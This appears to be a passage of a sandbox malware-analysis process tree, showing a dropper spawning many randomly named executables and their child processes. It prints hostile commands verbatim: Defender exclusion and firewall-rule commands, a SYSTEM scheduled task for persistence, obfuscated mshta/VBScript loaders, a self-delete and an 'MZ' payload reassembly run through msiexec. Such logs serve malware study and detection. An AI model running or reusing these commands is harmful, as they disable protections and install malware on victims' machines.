C:\Users\Admin\Pictures\Adobe Films\1fr2HbV94UGvWMbd6FyPJQad.exe"C:\Users\Admin\Pictures\Adobe Films\1fr2HbV94UGvWMbd6FyPJQad.exe"6⤵PID:5072
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:2740
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:1196
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:4980
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:5032
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:5772
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:1204
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:6028
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:5024
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:1516
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:5884
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wIbuJd8zVuNIPF_34c1Sr7pp.exe"C:\Users\Admin\Pictures\Adobe Films\wIbuJd8zVuNIPF_34c1Sr7pp.exe"6⤵PID:2964
-
-
C:\Users\Admin\Pictures\Adobe Films\S8oizdhwoMalDquRqKHN49Zp.exe"C:\Users\Admin\Pictures\Adobe Films\S8oizdhwoMalDquRqKHN49Zp.exe"6⤵
- Executes dropped EXE
PID:4944
-
-
C:\Users\Admin\Pictures\Adobe Films\6Jf3w8_vFeKvq3kD8ClcrRRW.exe"C:\Users\Admin\Pictures\Adobe Films\6Jf3w8_vFeKvq3kD8ClcrRRW.exe"6⤵PID:812
-
-
C:\Users\Admin\Pictures\Adobe Films\6lKy5iXlllcz6gQIZAcief_x.exe"C:\Users\Admin\Pictures\Adobe Films\6lKy5iXlllcz6gQIZAcief_x.exe"6⤵PID:4140
-
-
C:\Users\Admin\Pictures\Adobe Films\GWrXwHPZUWxflyt9qXd_xoY9.exe"C:\Users\Admin\Pictures\Adobe Films\GWrXwHPZUWxflyt9qXd_xoY9.exe"6⤵PID:1132
-
-
C:\Users\Admin\Pictures\Adobe Films\0rtl1EWHIYEkJjP4fZkgDQCa.exe"C:\Users\Admin\Pictures\Adobe Films\0rtl1EWHIYEkJjP4fZkgDQCa.exe"6⤵PID:3728
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:5908
-
-
-
C:\Users\Admin\Pictures\Adobe Films\muQ18XnErqzBSx0uHnRJudi6.exe"C:\Users\Admin\Pictures\Adobe Films\muQ18XnErqzBSx0uHnRJudi6.exe"6⤵PID:1036
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:5956
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 5527⤵
- Program crash
PID:1988
-
-
-
C:\Users\Admin\Pictures\Adobe Films\t5UbdXhoKN9fUaV0GWyFHqCi.exe"C:\Users\Admin\Pictures\Adobe Films\t5UbdXhoKN9fUaV0GWyFHqCi.exe"6⤵PID:4196
-
-
C:\Users\Admin\Pictures\Adobe Films\Edal2WpbU_dzB5TeFKY9LwMC.exe"C:\Users\Admin\Pictures\Adobe Films\Edal2WpbU_dzB5TeFKY9LwMC.exe"6⤵PID:1892
-
-
C:\Users\Admin\Pictures\Adobe Films\Ebce3VIdjVsY8fbLffBCTZ8k.exe"C:\Users\Admin\Pictures\Adobe Films\Ebce3VIdjVsY8fbLffBCTZ8k.exe"6⤵PID:2328
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2328 -s 9007⤵
- Program crash
PID:5432
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1G1VtFNavOXVxAxsOZmYzH8r.exe"C:\Users\Admin\Pictures\Adobe Films\1G1VtFNavOXVxAxsOZmYzH8r.exe"6⤵PID:5112
-
C:\Users\Admin\Pictures\Adobe Films\1G1VtFNavOXVxAxsOZmYzH8r.exe"C:\Users\Admin\Pictures\Adobe Films\1G1VtFNavOXVxAxsOZmYzH8r.exe"7⤵PID:4940
-
-
-
C:\Users\Admin\Pictures\Adobe Films\XK6tVyGp4cPBZ6c2c28673Zg.exe"C:\Users\Admin\Pictures\Adobe Films\XK6tVyGp4cPBZ6c2c28673Zg.exe"6⤵PID:2120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 6647⤵
- Program crash
PID:6020
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 6847⤵
- Program crash
PID:3884
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 6407⤵
- Program crash
PID:5364
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 7047⤵
- Program crash
PID:4968
-
-
-
C:\Users\Admin\Pictures\Adobe Films\oyFaGZISBt7X6JcbQ9c4Mm3s.exe"C:\Users\Admin\Pictures\Adobe Films\oyFaGZISBt7X6JcbQ9c4Mm3s.exe"6⤵PID:2960
-
C:\Users\Admin\Pictures\Adobe Films\oyFaGZISBt7X6JcbQ9c4Mm3s.exe"C:\Users\Admin\Pictures\Adobe Films\oyFaGZISBt7X6JcbQ9c4Mm3s.exe"7⤵PID:6812
-
-
-
C:\Users\Admin\Pictures\Adobe Films\9g0ADZlwEGsbIcINOZO_MiRp.exe"C:\Users\Admin\Pictures\Adobe Films\9g0ADZlwEGsbIcINOZO_MiRp.exe"6⤵PID:4132
-
-
C:\Users\Admin\Pictures\Adobe Films\r41JYx6A_sTeCAEY67rayu3m.exe"C:\Users\Admin\Pictures\Adobe Films\r41JYx6A_sTeCAEY67rayu3m.exe"6⤵PID:5028
-
-
C:\Users\Admin\Pictures\Adobe Films\GDv1yF1z0GsU156OEjyvDylu.exe"C:\Users\Admin\Pictures\Adobe Films\GDv1yF1z0GsU156OEjyvDylu.exe"6⤵PID:860
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\GDv1yF1z0GsU156OEjyvDylu.exe" & exit7⤵PID:3900
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:6252
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\mRjyNLBIuwET3gTMgm5gfj4R.exe"C:\Users\Admin\Pictures\Adobe Films\mRjyNLBIuwET3gTMgm5gfj4R.exe"6⤵PID:2388
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:5472
-
-
-
C:\Users\Admin\Pictures\Adobe Films\vFfOKPUH6DIyLzCIyrEUSAoO.exe"C:\Users\Admin\Pictures\Adobe Films\vFfOKPUH6DIyLzCIyrEUSAoO.exe"6⤵PID:2920
-
C:\Users\Admin\AppData\Roaming\5444026.exe"C:\Users\Admin\AppData\Roaming\5444026.exe"7⤵PID:4576
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵PID:5928
-
-
-
C:\Users\Admin\AppData\Roaming\1963585.exe"C:\Users\Admin\AppData\Roaming\1963585.exe"7⤵PID:5588
-
-
C:\Users\Admin\AppData\Roaming\474422.exe"C:\Users\Admin\AppData\Roaming\474422.exe"7⤵PID:4356
-
-
C:\Users\Admin\AppData\Roaming\2133330.exe"C:\Users\Admin\AppData\Roaming\2133330.exe"7⤵PID:4704
-
-
C:\Users\Admin\AppData\Roaming\487090.exe"C:\Users\Admin\AppData\Roaming\487090.exe"7⤵PID:5732
-
-
C:\Users\Admin\AppData\Roaming\3967531.exe"C:\Users\Admin\AppData\Roaming\3967531.exe"7⤵PID:4600
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Roaming\3967531.exe"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If """"== """" for %k In ( ""C:\Users\Admin\AppData\Roaming\3967531.exe"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )8⤵PID:4972
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Roaming\3967531.exe"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If ""== "" for %k In ( "C:\Users\Admin\AppData\Roaming\3967531.exe" ) do taskkill /F /Im "%~Nxk"9⤵PID:3396
-
C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXEkStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ10⤵PID:6132
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If ""/P6l3hjJm2mK1sJpxUmLJ""== """" for %k In ( ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )11⤵PID:6156
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If "/P6l3hjJm2mK1sJpxUmLJ"== "" for %k In ( "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE" ) do taskkill /F /Im "%~Nxk"12⤵PID:6352
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /Im "3967531.exe"10⤵
- Kills process with taskkill
PID:6168
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\7820790.exe"C:\Users\Admin\AppData\Roaming\7820790.exe"7⤵PID:2672
-
-
-
C:\Users\Admin\Pictures\Adobe Films\UJzOjh2YWDxA2DoISAMGOIng.exe"C:\Users\Admin\Pictures\Adobe Films\UJzOjh2YWDxA2DoISAMGOIng.exe"6⤵PID:3320
-
-
C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe"C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe"6⤵PID:5596
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:5780
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\58AvTuvpAfujVdg4oBllVEmD.exe" ) do taskkill -im "%~NxK" -F8⤵PID:5380
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:2612
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:5944
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:4956
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )10⤵PID:7164
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "58AvTuvpAfujVdg4oBllVEmD.exe" -F9⤵
- Kills process with taskkill
PID:528
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1968b7ee9058232e8.exe4⤵
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1968b7ee9058232e8.exeTue1968b7ee9058232e8.exe5⤵
- Executes dropped EXE
PID:1752
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue193129b31e741ef3.exe4⤵PID:1436
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193129b31e741ef3.exeTue193129b31e741ef3.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4652 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4012
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:3480
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19cef5687a.exe4⤵PID:2132
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19cef5687a.exeTue19cef5687a.exe5⤵
- Executes dropped EXE
PID:4916
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19d1fc7d2654d7a.exe4⤵PID:2668
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19d1fc7d2654d7a.exeTue19d1fc7d2654d7a.exe5⤵PID:4944
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19d1fc7d2654d7a.exeC:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19d1fc7d2654d7a.exe6⤵PID:3432
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19cd42a7c874e44.exe4⤵PID:3216
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19cd42a7c874e44.exeTue19cd42a7c874e44.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19b4b38a7569a9.exe4⤵PID:4228
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19b4b38a7569a9.exeTue19b4b38a7569a9.exe5⤵
- Executes dropped EXE
PID:4624
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19f40f8518b9946.exe4⤵PID:4864
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19f40f8518b9946.exeTue19f40f8518b9946.exe5⤵
- Executes dropped EXE
PID:2944 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19f40f8518b9946.exeC:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19f40f8518b9946.exe6⤵PID:4760
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c28f648204dbd4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:904
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 5084⤵
- Program crash
PID:4736
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19c28f648204dbd4.exeTue19c28f648204dbd4.exe1⤵
- Executes dropped EXE
PID:1736
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:360 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4988
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:1824